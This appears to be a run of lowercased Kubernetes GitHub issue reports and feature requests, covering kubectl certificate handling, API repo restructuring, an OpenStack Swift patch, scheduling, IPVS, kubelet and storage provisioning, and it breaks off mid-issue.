kubelet  exit status 2; expected  2016-02-16 01:13:56,310 info spawned: 'kubelet' with pid 22399 2016-02-16 01:13:57,355 info success: kubelet entered running state, process has stayed up for > than 1 seconds  startsecs       @kubernetes/sig-node

if you specify a client certificate to  kubectl  with  --certificate  and that certificate is missing the  clientauth   keyusage  then  kubectl  silently won't send it to the api server.  while it sensible for  kubectl  not to want to use a certificate lacking the appropriate  keyusage , it does not report any error to the user or even in the  --v=8  logging, it just silently ignores the specified certificate. given it is an explicitly specified certificate by the user, i feel it should either: 1. send it anyway since the user asked it to 2. refuse to send it with an error to the user  in contrast, if you specify the same certificate to  curl  it will send it anyway, and the k8s api server will happily accept it, and authentication is successful.  tested with kubectl 1.3.3 and k8s api server 1.3.2.      $ kubectl --certificate-authority=ca.pem --client-certificate=admin.pem --client-key=admin-key.pem --server=https://mycluster.com get version error: you must be logged in to the server  the server has asked for the client to provide credentials   $ curl https://mycluster.com/version --cacert ca.pem --cert admin.pem --key admin-key.pem  {   \ major\ : \ 1\ ,   \ minor\ : \ 3\ ,   \ gitversion\ : \ v1.3.2+coreos.0\ ,   \ gitcommit\ : \ 52a0d5141b1c1e7449189bb0be3374d610eb98e0\ ,   \ gittreestate\ : \ clean\ ,   \ builddate\ : \ 2016-07-19t17:45:13z\ ,   \ goversion\ : \ go1.6.2\ ,   \ compiler\ : \ gc\ ,   \ platform\ : \ linux/amd64\  }

motivation\r client-go currently has its own copy of api types. this causes problems like \r   client-go users cannot reuse kubernetes utilities functions because the types don't match.\r   we cannot remove the staging folder and develop in the client-go directly, because otherwise duplicate prs are required to update api types.\r   kubernetes vendors repos like k8s.io/metrics, k8s.io/heapster, which vendor types in k8s.io/kubernetes and thus creating vendor circle. moving external api to k8s.io/api breaks the circle.\r   more discussion in　https://github.com/kubernetes/kubernetes/issues/41629\r \r    what's included in k8s.io/api\r \r   types.go for external versions\r   methods of the types  e.g., https://github.com/kubernetes/kubernetes/blob/master/pkg/api/v1/resource.go \r \r generated code:\r   deepcopy, since https://github.com/kubernetes/kubernetes/pull/36412 is going to make it a method of the type.\r   generated.proto\r   generated.pb.go  because it defines methods of the types \r   types_swagger_doc_generated.go  because it defines methods of the types \r   types.generated.go  because it defines methods of the types \r \r    what's not included\r 1. validation and defaults: they are part of the api, but should only be used by the apiserver, so we don't publish them.\r 2. internal  unversioned  types: they are only needed by apiserver\r 3. conversions: they are only needed by apiserver and use internal types\r \r    action items\r \r  41747 is a poc pr implementing this move. on top of that, we need to fix the following issues:\r -     we don't want to copy the global  scheme, registry, codecs  https://github.com/kubernetes/kubernetes/blob/master/pkg/api/register.go l31-l45  to the new repo. these global variables should be replaced by variables per-binary.\r \r -     update the input/output of code generators for conversion, proto, swagger, ugorji, etc.\r \r -     reorganize the directories, e.g.,  mv pkg/apis/  / ,  mv pkg/api /core \r \r -     create the k8s.io/api repo, keep the commit history  see https://github.com/kubernetes/kubernetes/pull/41747 issuecomment-281103294 , then publish in sync with other k8s.io repos\r \r -     document how the apis should be consumed and our long term plan for the repo: 1. in the long term, generated code will be removed,  so don't depend on the validation/defaulting code. 2. we might change the signature of conversion functions to be between external versions, so don't depend on the conversion code. 3. don't depend on the internal types, they should only be used by the apiserver and will be moved to apiserver's repo.\r \r    open questions\r \r   where should type-specific helper functions live, e.g., https://github.com/kubernetes/kubernetes/blob/master/pkg/api/helpers.go? imo the new apis repo should contain as less code as possible, so the helpers should remain in kubernetes.\r \r cc people from  41629 and  41747\r @deads2k @sttts @thockin @lavalamp @justinsb @liggitt @ncdc @smarterclayton @bgrant0607

figure out how best to do task rebalancing across clusters for federated jobs.\r \r see  36197 for background.\r \r @jianhuiz leads this effort.  assigning myself as proxy, as he is not part of the k8s org yet. \r \r @kubernetes/sig-federation-feature-requests

@kubernetes/sig-openstack-misc\r \r <!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r   what happened  :\r \r currently swift object store has a hard-coded name:  kubernetes . e.g.,\r \r    shell\r swift post kubernetes --read-acl '.r: ,.rlistings'\r    \r \r   what you expected to happen  :\r \r make swift object store parameterizable. e.g.,\r \r    shell\r swift post ${swift_object_store} --read-acl '.r: ,.rlistings'\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    shell\r cd kubernetes   or whichever path you have extracted the release to\r kubernetes_provider=openstack-heat ./cluster/kube-up.sh\r    \r \r this defaults to the hard-coded  kubernetes  swift object store.\r \r   anything else we need to know?  :\r \r here is the patch file to address this issue:\r \r    \r from 26453645f35e01083dd4d63afe514e3dfb363145 mon sep 17 00:00:00 2001\r from: julien chastang <julien.c.chastang@gmail.com>\r date: wed, 21 jun 2017 15:23:26 -0600\r subject:  patch  parameterizing the swift object store w/ env vars\r \r ---\r  cluster/openstack-heat/config-default.sh | 3 +++\r  cluster/openstack-heat/util.sh           | 8 ++++----\r  2 files changed, 7 insertions + , 4 deletions - \r \r diff --git a/cluster/openstack-heat/config-default.sh b/cluster/openstack-heat/config-default.sh\r index 66702a3..08f4fcd 100644\r --- a/cluster/openstack-heat/config-default.sh\r +++ b/cluster/openstack-heat/config-default.sh\r @@ -43,6 +43,9 @@ cluster_ip_range=${cluster_ip_range:-10.244.0.0/16}\r  \r  swift_server_url=${swift_server_url:-}\r  \r +  swift object store\r +swift_object_store=${swift_object_store:-kubernetes}\r +\r    flag indicates if new image must be created. if 'false' then image with image_id will be used.\r    if 'true' then new image will be created from file config-image.sh\r  create_image=${create_image:-true}   use \ true\  for devstack\r diff --git a/cluster/openstack-heat/util.sh b/cluster/openstack-heat/util.sh\r index 66726db..c81b16c 100644\r --- a/cluster/openstack-heat/util.sh\r +++ b/cluster/openstack-heat/util.sh\r @@ -108,7 +108,7 @@ function create-stack   {\r      root\r      kubernetes_release_tar\r  function upload-resources   {\r -  swift post kubernetes --read-acl '.r: ,.rlistings'\r +  swift post ${swift_object_store} --read-acl '.r: ,.rlistings'\r  \r    locations= \r      \ ${root}/../../_output/release-tars/${kubernetes_release_tar}\ \r @@ -119,11 +119,11 @@ function upload-resources   {\r    release_tar_path=$ dirname ${release_tar_location} \r  \r    echo \  info  uploading ${kubernetes_release_tar}\ \r -  swift upload kubernetes ${release_tar_path}/${kubernetes_release_tar} \\\r +  swift upload ${swift_object_store} ${release_tar_path}/${kubernetes_release_tar} \\\r      --object-name kubernetes-server.tar.gz\r  \r    echo \  info  uploading kubernetes-salt.tar.gz\ \r -  swift upload kubernetes ${release_tar_path}/kubernetes-salt.tar.gz \\\r +  swift upload ${swift_object_store} ${release_tar_path}/kubernetes-salt.tar.gz \\\r      --object-name kubernetes-salt.tar.gz\r  }\r  \r @@ -196,7 +196,7 @@ function run-heat-script   {\r      fi\r      swift_server_url=$ openstack catalog show object-store --format value | egrep -o \ $rgx\  | cut -d\  \  -f2 | head -n 1 \r    fi\r -  local swift_repo_url=\ ${swift_server_url}/kubernetes\ \r +  local swift_repo_url=\ ${swift_server_url}/${swift_object_store}\ \r  \r    if   $create_image = true  ; then\r      echo \  info  retrieve new image id\ \r -- \r 2.10.2\r \r    \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :  client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.6\ , gitcommit:\ 7fa1c1756d8bc963f1a389f4a6937dc71f08ada2\ , gittreestate:\ clean\ , builddate:\ 2017-06-16t18:34:20z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration  : openstack\r - os  e.g. from /etc/os-release :  centos linux 7  core  \r - kernel  e.g.  uname -a  :  linux af62f8f82399 4.4.0-81-generic  104-ubuntu smp wed jun 14 08:17:06 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r - install tools:\r - others:\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r every time when i need to update build files, i run  hack/update-bazel.sh .  \r \r    \r cloud@ubuntu:~/go/src/k8s.io/kubernetes$ hack/update-bazel.sh \r wrote \ pkg/util/pointer/build\ \r wrote \ vendor/github.com/aws/aws-sdk-go/aws/request/build\ \r wrote \ vendor/github.com/prometheus/client_golang/prometheus/promhttp/build\ \r wrote \ vendor/golang.org/x/net/http2/build\ \r    \r some vendor build files are updated besides my code. note that only  pkg/util/pointer/build  is what i need.\r \r    \r cloud@ubuntu:~/go/src/k8s.io/kubernetes$ git status\r on branch move-pkg-util\r changes not staged for commit:\r    use \ git add <file>...\  to update what will be committed \r    use \ git checkout -- <file>...\  to discard changes in working directory \r \r \tmodified:   pkg/util/pointer/build\r \tmodified:   vendor/github.com/aws/aws-sdk-go/aws/request/build\r \tmodified:   vendor/github.com/prometheus/client_golang/prometheus/promhttp/build\r \tmodified:   vendor/golang.org/x/net/http2/build\r \r no changes added to commit  use \ git add\  and/or \ git commit -a\  \r    \r \r   what you expected to happen  :\r don't update vendor build files. these files have nothing to do with my code.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run  hack/update-bazel.sh , it will update vendor build files.\r \r   anything else we need to know?  :\r /cc @mikedanese \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : feature request\r \r  \r in  kube-aws  https://github.com/kubernetes-incubator/kube-aws/ , we have a feature that handles node draining in response to instances being replaced by the auto scaling group; this works by detecting the node is about to be terminated, and running  kubectl drain --force --ignore-daemonsets --delete-local-data <node>  in response. this node draining request is currently sent on behalf of the node itself, which conform to the group/username restrictions documented  here  https://kubernetes.io/docs/admin/admission-controllers/ noderestriction   assuming tls bootstrapping feature is enabled in kube-aws .\r \r in kubernetes 1.7, however, if i enable the noderestriction admission controller, this node draining mechanism no longer works because  access to  pods/eviction  sub-resource is denied  https://github.com/kubernetes/kubernetes/blob/c8c4fff8be1c1da08a6dec37f8aee44e2a426456/plugin/pkg/admission/noderestriction/admission.go l106 .\r \r what would be the problem of admitting pod eviction requests for pods bound to the node who's making the request? what do you guys think?\r \r /cc @mumoshu  @redbaron

there are some work to be done in the follow-up of  46580, that is, help ipvs existing alpha.\r \r -  x  gce ci failures  54916 \r \r -  x  cross-node visit nodeport   53393 \r \r -  x  hairpin issue   53775 \r \r -  x  using ipset doing snat and packet filtering and reduce iptables call  54203 .\r \r -  x  automatically load  ip_vs_   kernel modules.   51874,  52003 \r \r -  x  creating e2e test suite for ipvs in upstream ci   52834 .\r \r -  x  ip cmd -> netlink bind/unbind ip address to/from dummy device  51686 \r \r -  x  rsync to head of iptables  51682,  52014 \r \r -  x  enable flush batch api  52015 \r \r -  x  fix todos in codes   52403 \r \r -  x  bug report   51694,  52330 \r \r -  x  default sync period  51777 \r \r  -  x  ipv6 support  52935,  53120  and more... \r \r /cc @thockin @quinton-hoole @haibinxie\r

@yujuhong brought up that it's possible for a hard reboot to result in empty checkpoint files, if they haven't been synced to disk yet.

  \r   what happened  :\r \r kubectl reported a deployment scaled even when the replicas were unavailable.\r \r   what you expected to happen  :\r \r all replicas in the deployment were unavailable and even then the command output showed that deployment scaled.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a deployment using the configuration file:\r \r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: nginx-deployment \r spec:\r   replicas: 3 \r   template:\r     metadata:\r       labels:\r         app: nginx \r     spec:\r       containers:\r       - name: nginx \r         image: nginx:1.12.1\r         ports: \r         - containerport: 80\r         - containerport: 443\r    \r \r create a resourcequota using the configuration file:\r \r    \r apiversion: v1\r kind: resourcequota\r metadata:\r   name: quota\r spec:\r   hard:\r     cpu: \ 10\ \r     memory: 6gi\r     pods: \ 10\ \r     replicationcontrollers: \ 3\ \r     services: \ 5\ \r     configmaps: \ 5\ \r    \r \r describe the quota:\r \r    \r $ kubectl describe quota/quota\r name:                   quota\r namespace:              default\r resource                used  hard\r --------                ----  ----\r configmaps              0     5\r cpu                     300m  10\r memory                  0     6gi\r pods                    3     10\r replicationcontrollers  0     3\r services                1     5\r    \r \r scale the deployment:\r \r    \r $ kubectl scale --replicas=12 deployment/nginx-deployment\r deployment \ nginx-deployment\  scaled\r    \r the output indicates that the deployment was scaled.\r \r getting more details about deployment shows that 9 replicas are unavailable:\r \r    \r $ kubectl describe deployment/nginx-deployment\r name:                   nginx-deployment\r namespace:              default\r creationtimestamp:      wed, 08 nov 2017 15:25:03 -0800\r labels:                 app=nginx\r annotations:            deployment.kubernetes.io/revision=1\r                         kubectl.kubernetes.io/last-applied-configuration={\ apiversion\ :\ extensions/v1beta1\ ,\ kind\ :\ deployment\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ nginx-deployment\ ,\ namespace\ :\ default\ },\ spec\ :{\ replicas\ ...\r selector:               app=nginx\r replicas:               12 desired | 3 updated | 3 total | 3 available | 9 unavailable\r    \r \r is this the expected behavior?\r \r also, no reason is given as to why the replicas did not scale.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t21:07:53z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t08:30:51z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r \r aws\r \r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

sample-controller relies on ./vendor/k8s.io/code-generator  https://github.com/kubernetes/sample-controller/blob/master/hack/update-codegen.sh   but does not vendor it:  https://github.com/kubernetes/sample-controller/tree/master/vendor/k8s.io \r

\r   is this a bug report or feature request?  :\r  \r   what happened  :\r when kube-apiserver's livenessprobe suggests that pod is unhealthy, kubelet tries to kill its container with 30 seconds grace period.\r the container is killed ungracefully with sigkill when grace period passes. this happens each time.\r \r    \r dec 29 13:07:05 kubelet 1579 : kuberuntime_container.go:561  killing container \ docker://763de1ad420fc26c5fd4997bac7cc44f5c540a123778fc18b636eb24fbc83d5a\  with 30 second grace period\r dec 29 13:07:36 audit: execve argc=5 a0=\ docker-runc\  a1=\ kill\  a2=\ --all\  a3=\ 763de1ad420fc26c5fd4997bac7cc44f5c540a123778fc18b636eb24fbc83d5a\  a4=\ sigkill\ \r dec 29 13:07:36 kubelet 1579 : kubelet.go:1917  syncloop  pleg : \ kube-apiserver-gke-05f87b26119bc247ce64-b9bf-08d2-vm_kube-system 1073a53f8bbfcf5f46fe7e4b66f4663f \ , event: &pleg.podlifecycleevent{id:\ 1073a53f8bbfcf5f46fe7e4b66f4663f\ , type:\ containerdied\ , data:\ 763de1ad420fc26c5fd4997bac7cc44f5c540a123778fc18b636eb24fbc83d5a\ }\r    \r \r   what you expected to happen  :\r \r i expected that sigterm will be passed to kube-apiserver which will try to gracefully stop before 30 seconds pass  at least in some cases .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - inject kube-apiserver failure  e.g.  iptables -i input -i lo -p tcp --dport 8080 -j reject  \r - watch kubelet logs for container's death\r - you will see that container is killed after 30 seconds each time\r \r   anything else we need to know?  :\r i believe the problem is that in kube-apiserver.manifest uses '/bin/sh -c cmd' as a pid1 process which doesn't pass sigterm signals to child process.  see https://pracucci.com/graceful-shutdown-of-kubernetes-pods.html a-common-pitfall-while-handling-the-sigterm\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7.11\r

 \r   what happened  :\r i have set up a k8s v1.13.2 cluster via kubeadm on centos 7.6 provisioned virtualbox vms.\r i use weave 2.5.0 as cni plugin, and cri-o  commit 1fecbd3cd built from source  as runtime.\r \r the vms have the standard nat ip interface as eth0 on 10.0.2.15, and a virtualbox host-only nic configured on 192.168.99.x\r kubelet node ip is set to an 192.168.99.x address via dynamic kubelet configuration  see kubeadm input below \r \r   what you expected to happen  :\r static pods in the kube-system namespace should be connected to the private 192.168.99 network, but are instead reported by kubectl to have the 10.0.2.15 ip.\r when i use docker as container runtime, this works as expected w/o any additional configuration.\r \r   how to reproduce it  as minimally and precisely as possible   :\r set up cluster w/ components as described above, and kubeadm input as follows:\r \r    \r apiversion: kubeadm.k8s.io/v1beta1\r clustername: k8m.qs0-t2att3oc.internal.com\r controlplaneendpoint: 192.168.99.10\r imagerepository: docker.internal.com:5000/k8s.gcr.io\r kind: clusterconfiguration\r kubernetesversion: v1.13.2\r networking:\r   dnsdomain: qs0-t2att3oc.internal.com\r   podsubnet: 172.18.0.0/16\r   servicesubnet: 172.19.0.0/16\r ---\r apiversion: kubeproxy.config.k8s.io/v1alpha1\r clustercidr: 172.18.0.0/16\r kind: kubeproxyconfiguration\r ---\r apiversion: kubelet.config.k8s.io/v1beta1\r clusterdomain: qs0-t2att3oc.internal.com\r cgroupdriver: systemd\r clusterdns:\r - 172.19.0.10\r evictionhard:\r   imagefs.available: 5%\r   nodefs.available: 5%\r evictionsoft:\r   imagefs.available: 5%\r   nodefs.available: 5%\r evictionsoftgraceperiod:\r   imagefs.available: 10h\r   nodefs.available: 10h\r evictionpressuretransitionperiod: 10h\r hairpinmode: hairpin-veth\r kind: kubeletconfiguration\r podcidr: 172.18.0.0/16\r ---\r apiversion: kubeadm.k8s.io/v1beta1\r noderegistration:\r   crisocket: unix:///var/run/crio/crio.sock\r   kubeletextraargs:\r     node-ip: 192.168.99.10\r     address: 192.168.99.10\r kind: initconfiguration\r localapiendpoint:\r   advertiseaddress: 192.168.99.10\r    \r   anything else we need to know?  :\r a strange effect is that when i observe the static pods during cluster startup w/ kubectl, they are reported to be connected to the 192.168.99 network for an instance, but then seem to be reconfigured  by either weave or cri-o?  to the wrong nat ip.\r \r   environment  :\r - kubernetes version  use  kubectl version  : gitversion:\ v1.13.2\ , gitcommit:\ cff46ab41ff0bb44d8584413b598ad8360ec1def\ \r - cloud provider or hardware configuration: virtualbox 5.2.20 r125813 vms under windows 7\r - os  e.g. from /etc/os-release : centos linux release 7.6.1810  core \r - kernel  e.g.  uname -a  :  3.10.0-957.1.3.el7.x86_64 \r - install tools: kubeadm v1.13.2\r - others: weave 2.5.0 cni plugin, cri-o version 1.13.1-dev commit: \ 1fecbd3cd457e2cbf30ad4e7791a79ebcf9b3972\  runtime\r \r

ingress may require additional resources that it depends on, like \ public ips\ , dns hostnames, and tls certs.  it would be good to have a complete design on how to address this.

hey all, i’m looking to extend the default scheduler with a capability that i don’t think exists yet. i wanted to ask here just in case i'm duplicating work.  my workload: a few services/forever pods, but a large number of terminating pods  not yet using the jobs object, but that’s the general idea . these jobs can run anywhere from 5 min to 3 days, and we pretty much always have more “requests” of the cluster than capacity  this is by design . we currently have a fairly hacky way of setting up a  where certain jobs are submitted to the cluster before others. the details of this hacky system are not that relevant for this discussion.  the need: it is my task to rewrite this system to be more robust. while my use case in prod will be a more complicated and dynamic, a more or less fifo queue is sufficient to discuss the scheduler code in question  as long as the  a job can be changed later, such as through an annotation on the pod .  wait, doesn't the scheduler already do this? currently the default scheduler effectively does a for loop over all pods, which somewhat randomly selects pods to schedule in order. if it can't schedule a pod, it will move onto the next one. i don't really want to touch the logic of determining which _node_ to schedule the pod on; i just want to modify which _pods_ are selected to be scheduled. for my needs, the scheduler doesn't have to be lightning fast as long as it's reasonable.  gotchas large request pods: it's possible that small pods can get blocked behind large pods in the queue. i have a straightforward way to overcome this, but that adds more complexity to this issue and i'd rather wait until later.  relevant issues: multiple schedulers  wip  https://github.com/kubernetes/kubernetes/blob/master/docs/proposals/multiple-schedulers.md dispatcher feature request https://github.com/kubernetes/kubernetes/pull/17430  none of the above has been implemented, and frankly i'm ok with just extending my existing scheduler  and running all pods through this mechanism  until multiple schedulers are supported.  relevant issue labels: area/scheduling  relevant code: i believe all i have to do is implement this function differently: https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/scheduler.go l66 is that it or am i missing something? i am also unclear of where that actually is calculated...   can anyone give me a few pointers/suggestions and i'll code it up? once i code it up, where should i contribute this back to? i'm sure i'm not the only one trying to schedule a ton of jobs on a cluster.

or i don't know how to do that. it basically demands that i have some obscure list of dependencies in some obscure concrete revisions. i'm already 20 minutes in trying to make it happy and i still can't see the end of it. can we make it run as a container in a clean repo, so that it can just download whatever it wants, generate what it's asked for and be done with it?\r \r @kubernetes/sig-api-machinery-feature-requests @caesarxuchao

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  : i tried to use a kubernetes pod to build docker images with jenkins, using the command  docker build .\r \r   what you expected to happen  : i expected the build to run properly, resulting an a compiled docker image\r \r   how to reproduce it  as minimally and precisely as possible   : execute  docker build  in a kubernetes pod\r \r   anything else we need to know?  : kuberentes 1.6.4 did not produce the problem, 1.6.6 and 1.7.0 all do. privileged and non-privileged pods exhibit the same error message   docker: error while loading shared libraries: libapparmor.so.1: cannot open shared object file: no such file or directory  .\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.0\r - cloud provider or hardware configuration  : google container engine\r - os  e.g. from /etc/os-release : container os\r - kernel  e.g.  uname -a  :  linux ${hostname_redacted} 4.4.52+  1 smp thu jun 15 15:23:01 pdt 2017 x86_64 intel r  xeon r  cpu @ 2.60ghz genuineintel gnu/linux \r - install tools:\r - others: jenkins docker image  https://hub.docker.com/r/jenkins/jenkins/ \r

we should update the aws sdk, to gain support for aws nlb and tagging volumes at creation time etc.

\r e1103 17:16:02.482172   13603 event.go:194  unable to construct event '&v1.event{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:v1.objectmeta{name:\ \ , generatename:\ \ , namespace:\ \ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:v1.time{time:time.time{wall:0x0, ext:0, loc:  time.location  nil }}, deletiontimestamp:  v1.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string nil , annotations:map string string nil , ownerreferences:  v1.ownerreference nil , initializers:  v1.initializers  nil , finalizers:  string nil , clustername:\ \ }, involvedobject:v1.objectreference{kind:\ \ , namespace:\ \ , name:\ \ , uid:\ \ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ }, reason:\ \ , message:\ \ , source:v1.eventsource{component:\ \ , host:\ \ }, firsttimestamp:v1.time{time:time.time{wall:0x0, ext:0, loc:  time.location  nil }}, lasttimestamp:v1.time{time:time.time{wall:0x0, ext:0, loc:  time.location  nil }}, count:0, type:\ \ }': 'request construction error: '<nil>''  will not retry! \r    \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/54523/pull-kubernetes-unit/62637/\r \r @kubernetes/sig-node-test-failures \r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r after creating a pod and using  kubectl expose  to expose its port it is unclear if a dns srv record is created and, if so, what it is.\r \r   what you expected to happen  :\r a dns srv record is created.\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r kubectl run echoserver --image gcr.io/google_containers/echoserver:1.4 --port 8080\r kubectl expose deployment echoserver --port 8888 --target-port 8080 --type=nodeport\r    \r   anything else we need to know?  :\r https://kubernetes.io/docs/concepts/services-networking/service/ states \r \r > if the \ my-service.my-ns\  service has a port named \ http\  with protocol tcp, you can do a dns srv query for \ _http._tcp.my-service.my-ns\ \r \r doing  kubectl describe ep echoserver  shows the port's name is  <unset> . looking up  _<unset>._tcp.my-service.my-ms  doesn't return a result.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.0\r - cloud provider or hardware configuration: minikube\r - os  e.g. from /etc/os-release : macos sierra 10.12.6\r

pod will not run correctly  when i creat a pod like below:\r   pod-test.yaml  \r    \r apiversion: v1\r kind: pod\r metadata:\r   name: volum-subpath-pd\r spec:\r   containers:\r   - image: gcr.io/google_containers/test-webserver\r     name: test-extend\r     volumemounts:\r     - mountpath: /test-volume\r       name: extend-volume\r       subpath: subpath\r   volumes:\r   - name: extend-volume\r     hostpath:\r       path: /tmp/test_extend/\r    \r  here, the hostpath of  /tmp/test_extend/  is not exist in my host, and  subpath  is not empty, when i run  kubectl create -f pod-test.yaml , the pod will not be created correctly.\r \r  kubectl get pod--all-namespaces \r    \r namespace     name                        ready     statusrestarts   age\r default       volum-subpath-pd            0/1       createcontainerconfigerror0          2s\r    \r \r  kubectl describe pod volum-subpath-pd \r    \r events:\r   type     reason                 age              from                message\r   ----     ------                 ----             ----                -------\r   normal   scheduled              2m               default-scheduler   successfully assigned volum-subpath-pd to 127.0.0.1\r   normal   successfulmountvolume  2m               kubelet, 127.0.0.1  mountvolume.setup succeeded for volume \ extend-volume\ \r   normal   successfulmountvolume  2m               kubelet, 127.0.0.1  mountvolume.setup succeeded for volume \ default-token-tkk47\ \r   warning  failed                 1m  x7 over 2m   kubelet, 127.0.0.1  error: lstat /tmp/test_extend/: no such file or directory\r   normal   pulling                1m  x8 over 2m   kubelet, 127.0.0.1  pulling image \ gcr.io/google_containers/test-webserver\ \r   normal   pulled                 1m  x8 over 2m   kubelet, 127.0.0.1  successfully pulled image \ gcr.io/google_containers/test-webserver\ \r    \r \r in pkg/kubelet_pods.go, it will judge the hostpsth's existing if the subpath is not empty, and an error will  return if the hostpath is't exist.\r \r we have authorized docker to create hostpath if it is't exist, so i think the judgement here may not be reasonable because it will incur the bug like above, and also the handle of  os.mkdirall hostpath, perm   in kubelet_pods.go. \r \r three idear here i think: 1  authorize kubelet to create hostpath if it is't exist no matter the subpath empty or not  2 do the judgement either the subpath empty or not ,and return erro if hostpath is't exist  3 discard the judgement  here.\r \r environment:\r - kubernetes version : 1.9  latest \r - os: ubuntu 14.04\r - docker version: 17.07.0\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r i have started looking into implementing priorities while evicting pods in descheduler.\r \r following are my observations:\r \r as of now, scheduler is doing preemptions to accomodate higher  which cannot find nodes. we are having a overlapping functionality with descheduler which also evicts pods but with a broader goal of balancing the load in the cluster.\r \r the idea here is to run descheduler as an extender. the flow in steps would be:\r \r - scheduler couldn't find any nodes using standard predicates and goes through preempt stage. \r - descheduler could be called as an extender or plugin based model in future  in this stage and it would return a single node after evicting pods on the nodes and updating the pod's nominatednodename. the entire logic of preemption could be moved to descheduler while it is evicting pods. i know that we are deleting pod in preemption .\r \r the second operation ensures atomicity as this is happening within a scheduling cycle there by eliminating the chance of race conditions.\r \r there are some gaps in the current implementations of descheduler. for example on descheduler side, we don't have\r - predicates & predicates being used this is on roadmap though .\r - no http server through which extender can be called.\r - taking priorities into consideration while deleting pods.  as of now in descheduler supports evictions and  eviction  of pods which cannot be recreated ex which could be re-created: rs, jobs etc  is not possible .\r \r did i miss something on scheduler side? is this something worth investigating?\r \r /cc @bsalamat @aveshagarwal \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r create an azure file in k8s would fail, following error is returned when  kubectl describe pvc pvc-azurefile \r    \r events:\r   type     reason              age   from                         message\r   ----     ------              ----  ----                         -------\r   warning  provisioningfailed  18s   persistentvolume-controller  failed to provision volume with storageclass \ azurefile\ : could not get storage key for storage account : failed to create storage account fa\r 27470927fff11e8aed300, error: storage.accountsclient create: failure sending request: statuscode=400 -- original error: code=\ accountpropertyisinvalid\  message=\ account property kind is invalid for the reque\r st.\ \r   warning  provisioningfailed  3s    persistentvolume-controller  failed to provision volume with storageclass \ azurefile\ : could not get storage key for storage account : failed to create storage account fa\r b60f4bd7fff11e8aed300, error: storage.accountsclient create: failure sending request: statuscode=400 -- original error: code=\ accountpropertyisinvalid\  message=\ account property kind is invalid for the reque\r st.\ \r    \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11\r - cloud provider or hardware 